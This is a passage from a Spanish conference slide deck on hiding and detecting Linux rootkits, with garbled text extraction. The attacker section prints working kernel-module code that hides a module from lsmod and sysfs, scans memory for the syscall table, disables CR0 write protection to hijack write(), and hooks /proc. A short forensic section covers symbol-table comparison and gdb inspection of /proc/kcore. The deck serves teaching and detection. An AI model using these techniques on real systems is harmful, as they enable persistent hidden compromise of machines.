Hide and Find Rootkits Linux

Hide and Find Rootkits in Linux

Forensics and Attack Strategies

NataS::: The Lord of Chaos
Marcos Ricardo Schejtman Rubio

20 de Abril de 2012


Contents
1 Introducciń
o
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
M´todos de Ataque
e
Kernel Hacking
task struct modification
3 La Perspectiva Forense
M´todos de Detecciń
e o
4 The End

Introducciń
o
Definiciones

Introducciń
o
1 Introducciń
o
Definiciones
Tipos de Rootkits
M´todos de Ataque
e
Kernel Hacking
e o
4 The End

Introducciń
o
Definiciones

¿Qu´ es un Rootkit?
e

Un rootkit (segń Wikipedia), se puede definir como:
u

Un programa que permite un acceso de privilegio
continuo a una computadora pero que mantiene su
presencia activamente oculta al control de los
administradores al corromper el funcionamiento normal
del sistema operativo o de otras aplicaciones.

Introducciń
o
Tipos de Rootkits

Tipos de Rootkits

Practicamente podemos hablar de dos tipos de rootkits:

1 Rootkits en Espacio de Usuario, Los cuales corren en
Ring-3, y modifican librer´ o archivos de configuraciń, e
ıas, o
inclusive ejecutables (ls, ps, etc).
2 Rootkits en Espacio de Kernel, Los cuales corren en
Ring-0, y modifican estructuras del kernel, atrapan llamadas
de sistema (hijacking syscall-table), etc. Podemos tenerlos
como LKM’s o como patch al kernel corriendo /dev/kmem

Introducci´n
o


Esconder Procesos
Esconder Archivos
Esconder Conexiones de Red
Backdoors
Keyloggers
Darnos acceso a root

La perspectiva del Atacante
M´todos de Ataque
e

Introducciń
o
1 Introducciń
o
Definiciones
Tipos de Rootkits
M´todos de Ataque
e
Kernel Hacking
e o
4 The End

M´todos de Ataque
e

M´todos de Ataque
e

Modificaciń de las estructuras de datos (la misma que
o
contiene los procesos corriendo en el sistema actualmente).
Interceptando las llamadas a sistema mediante la modificaciń
o
de la tabla de llamadas o del handler de cierta syscall
(Dinamyc or Static Hijacking).
Interrupt Hooking, modificando la tabla de descriptores de las
interrupciones (IDT) 0x80.
Modificando la memoria del kernel (/dev/kmem).
Interceptando el manejo de llamadas del VFS (/proc /sys)
Virtual Memory Subversion, un ataque novedoso para
presentar vistas de la memoria de los procesos.

Kernel Hacking

Introducciń
o
1 Introducciń
o
Definiciones
Tipos de Rootkits
M´todos de Ataque
e
Kernel Hacking
e o
4 The End

Kernel Hacking

Escondiendo desde el Kernel

The Ring Model Intel tiene cuatro anillos
MS Windows y otros,
manejan solo dos.
Usando solo dos niveles de
privilegios, no hay separaciń
o
entre el kernel y los drivers
(root es tambiń ring-3).
e
Los drivers pueden modificar
la memoria asociada con
objetos del kernel... tales
como aquellos que
representan un proceso.

Kernel Hacking

Introduciendo al LKM

Las comunicaciones entre el espacio de usuario (ring-3), y el
espacio del kernel (ring-0), se hacen mediante archivos.
Debido al punto anterior, existe y conocemos /proc, /sys,
/dev. Dichos directorios solo existen en RAM.
Llamadas a sistemas, est´n guardadas en una tabla especial
a
(sys call table).

Kernel Hacking

Consideraciones

Las diferencias m´s importantes entre un desarrollo a n´ kernel o
a ıvel
espacio usuario son:
El kernel carece de protecciń de memoria... algo que se
o
ofrece en el espacio de usuario.
El kernel no puede ejecutar de manera sencilla operaciones en
punto flotante.
El kernel tiene un espacio en pila muy reducido por proceso.
Debido a la naturaleza as´ıncrona de las interrupciones del
kernel, la concurrencia es de los temas a poner mas ńfasis al
e
desarrollar (Race-Conditions).
La potabilidad... entre versiń y versiń de nćleo.
o o u

Kernel Hacking

Hidding the Module

El kernel maneja un lista enlazada en la cual, mantiene la
referencia de todos los m´dulos que estń cargados (lsmod y
o a
/proc leen dicha lista).
Esconder nuestro m´dulo es muy sencillo, en la funciń de
o o
inicio del m´dulo basta con eliminar la referencia de la lista:
o
list_del(&THIS_MODULE->list);
Dos problemas con esta primer aproximaciń:
o
1 Ań somos detectables desde /sys
u
2 Al hacer un unload del m´dulo, debido a que no existe en la
o
lista, se provoca un Oops que genera un kernel panic o crash
del sistema, dejando rastros.

Kernel Hacking

Hidding the Module
Cada entrada en /sys es un objeto module kobject (definido
en module.h) que internamente tienen una estructura del tipo
kobject (definido en kobject.h).
Examinando el c´digo del kernel, vemos que en la descarga del
o
m´dulo, primero debemos eliminarnos de /sys y
o
posteriormente de la vista.
Hay que tomar en cuenta, que el kernel no libera objetos que
estń iniciado a NULL
e
Recomendaciones:
1 Recordar informaciń previa (prev y next en la lista).
o
2 Sobreescribir readproc y writeproc
3 Funciones est´ticas para no dejar rastros en /proc/kallsyms
a

Kernel Hacking

Hidding the Module: A little taste
static inline void natas_hide(void) {
list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;
}
static int __init natas_init(void) {
/*Inicializaciones del modulo*/
...
natas_hide();
return 0;
}
module_init(natas_init);


Introducciń
o
1 Introducciń
o
Definiciones
Tipos de Rootkits
M´todos de Ataque
e
Kernel Hacking
e o
4 The End


task struct modiﬁcation: Overview
El kernel de linux contiene una lista enlazada (deﬁnida en
include/linux/types.h e include/linux/list.h) de tareas, las cuales
son una estructura declarada en include/linux/sched.h.


task struct modiﬁcation: Hidding
Esconder un proceso no es m´s que eliminar la tarea de los
a
punteros prev y next de la lista tasks.


task struct modification: Issues

La eliminaciń de las referencias en next y prev, ocasionan que
o
el scheduler no vea el proceso que escondimos.
Si el scheduler no ve el proceso, no le asigna tiempo de CPU,
ocasionando que la tarea se congele.
Adicional, es preciso modificar el scheduler para que asigne
tiempo al proceso padre del PID 0 (init).
¿Es posible encontrar el proceso? S´ Usando gdb, conociendo
ı.
nuestra arquitectura y cuanto pesa nuestra task struct. A partir de
ah´ y haciendo uso de System.map, /dev/kcore y la imagen es
ı
posible recrear la tabla de procesos.


Hijacking Syscall

Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.

syscall natas_open(pathname, flags, mode) {
if (XXX==XXX)
call open(pathname, flags, mode)
else
printf("Not found");
}


Dinamyc Hijacking
La direcciń de la sys call table, puede ser encontrada en el archivo
o
System.map-$(uname -r) ¿Que ocurre cuando ya no existe ese
archivo?
El rango de memoria del kernel en arquitecturas X86 es del
0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call table
basta con buscar hasta la 0xd0000000 ¿porque?
CONFIG HIGHMEM.
Para x86 64 podemos encontrar el inicio de la memoria del kernel
en 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff,
es de destacar que igual que en la arquitectura de 32Bits, no
debemos iterar todas las direcciones, basta iterar hasta
0xffffffff81ffffff.
Finalmente... solo basta comparar alguna sys call cuyos s´
ımbolos se
exporten, sys close por ejemplo.


Dinamyc Hijacking

#if defined __x86_64__
#define START_MEM 0xffffffff81000000
#define END_MEM 0xffffffff81ffffff
#else
#define START_MEM 0xc0000000
#define END_MEM 0xd0000000
#endif
unsigned long **find_syscalltable() {
unsigned long **syscalltable;
unsigned long int i = START_MEM;
while ( i < END_MEM) {
sctable = (unsigned long **)i;
if ( syscalltable[__NR_close] == (unsigned long *)sys_close) {
return &syscalltable[0];
}
i += sizeof(void *);
}
return NULL;
}


Dinamyc Hijacking

Pero la sys call table esta protegida contra escritura ¿o no? Existen
diferentes registros de procesador, el que nos interesa es el cr0. El
kernel nos da dos funciones para manipular este registro: write cr0
y read cr0.
El Bit 0 de este registro maneja el Protected Mode, por ello se
llama WP bit. Solo basta modiﬁcar este bit antes y despu´s del
e
hijacking
write_cr0 (read_cr0 () & (~ 0x10000));
printk(KERN_ALERT "nWrite Protection Disabled XD");
original_write = (void *)syscall_table[__NR_write];
syscall_table[__NR_write] = new_write;
write_cr0 (read_cr0 () | 0x10000);
printk(KERN_ALERT "nWrite Protection Enabled");
/*
0X10000 --> 000...010000000000000000
~(0X10000) --> 111...101111111111111111
*/


Hijacking VFS

Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.

syscall natas_lookup(parent_directory,
pathname, ...) {
if (XXX==XXX)
call real_lookup(parent_directory,
pathname, ...)
else
printf("Error");
}


Hijacking VFS
struct inode *pinode;
const struct file_operations *proc_original;
static struct file_operations proc_fops;
void hook_proc(struct proc_dir_entry *root) {
struct path proc_path;
if (kern_path("/proc/",0,&proc_path))
return;
pinode = proc_path.dentry->d_inode;
if(!pinode)
return;
proc_fops = *pinode->i_fop;
proc_original = pinode->i_fop;
proc_fops.readdir = natas_lookup;
pinode->i_fop = &proc_fops;
}

La Perspectiva Forense
e o

Introducciń
o
1 Introducciń
o
Definiciones
Tipos de Rootkits
M´todos de Ataque
e
Kernel Hacking
e o
4 The End

e o

e o

Comparando la tabla de S´ ımbolos, Cada cierto tiempo se
realizar comparaciones con la tabla de Sistema original
(System.map) con la actual tabla.
An´lisis de Binarios, desde m´todos tan sencillos como
a e
constantes revisiones de la suma MD5, hasta utilizaciń de
o
trazas y visualizaciń de estructuras de datos sobre el kernel.
o
An´lisis del Path de Ejecuciń, Un rotkit modifica el
a o
camino de ejecuciń de una llamada a sistema
o

e o

Path Analysis

e o

e o
root@alien-natas:~# dmesg | grep -i task
[ 3.082767] registered taskstats version 1
[ 251.622695] My task_struct --> 1048
root@alien-natas:~# grep init_task /boot/System.map-3.2.0-1-686-pae | grep D
c13d8fe0 D init_task
root@alien-natas:~# gdb /boot/vmlinuz-3.2.0-1-686-pae /proc/kcore
Core was generated by ‘BOOT_IMAGE=/vmlinuz-3.2.0-1-686-pae
root=/dev/mapper/sda2_crypt ro single’.
#0 0x00000000 in ?? ()
(gdb) x/262wx 0xc13d8fe0
0xc13d8fe0: 0x00000000 0xc13d2000 0x00000002 0x00200000
0xc13d8ff0: 0x00000000 0x00000000 0x00000001 0x00000000
0xc13d9000: 0x00000078 0x00000078 0x00000078 0x00000000
0xc13d9010: 0xc12c3404 0x00000400 0x00400000 0x00000000
0xc13d9020: 0x00000000 0x00000000 0xc13d9028 0xc13d9028
0xc13d9030: 0x00000000 0x00000000 0x00000000 0x00000000
0xc13d9040: 0x00000000 0x00000000 0x00000000 0x00000000
0xc13d9050: 0x00000000 0x00000000 0x00000000 0x00000000
0xc13d9060: 0xf7607a04 0x00000000 0xc13d9068 0xc13d9068
0xc13d9070: 0x00000000 0x000000fa 0x00000001 0x00000000
0xc13d9080: 0x00000000 0x00000000 0x00000000 0x00000000

The End

Greetings

Gr33tz!!

@nitr0usmx @preth00nker
@ hkm @ tty0
@calderpwn @psymera
@ch1rx @napa topos
—————————————————————————–
Autor: Marcos Ricardo Schejtman Rubio
E-Mail: natashell@esdebian.org
Twitter: @natashell666
5EBD 2AEB 5618 4F0C D62C 89D8 C59B 834A 4E19 1537
A
LTEX para todos

Hide and Find Rootkits Linux

Recommandé

Recommandé

Contenu connexe

En vedette

En vedette (20)

Similaire à Hide and Find Rootkits Linux

Similaire à Hide and Find Rootkits Linux (20)

Plus de Jaime Restrepo

Plus de Jaime Restrepo (19)

Hide and Find Rootkits Linux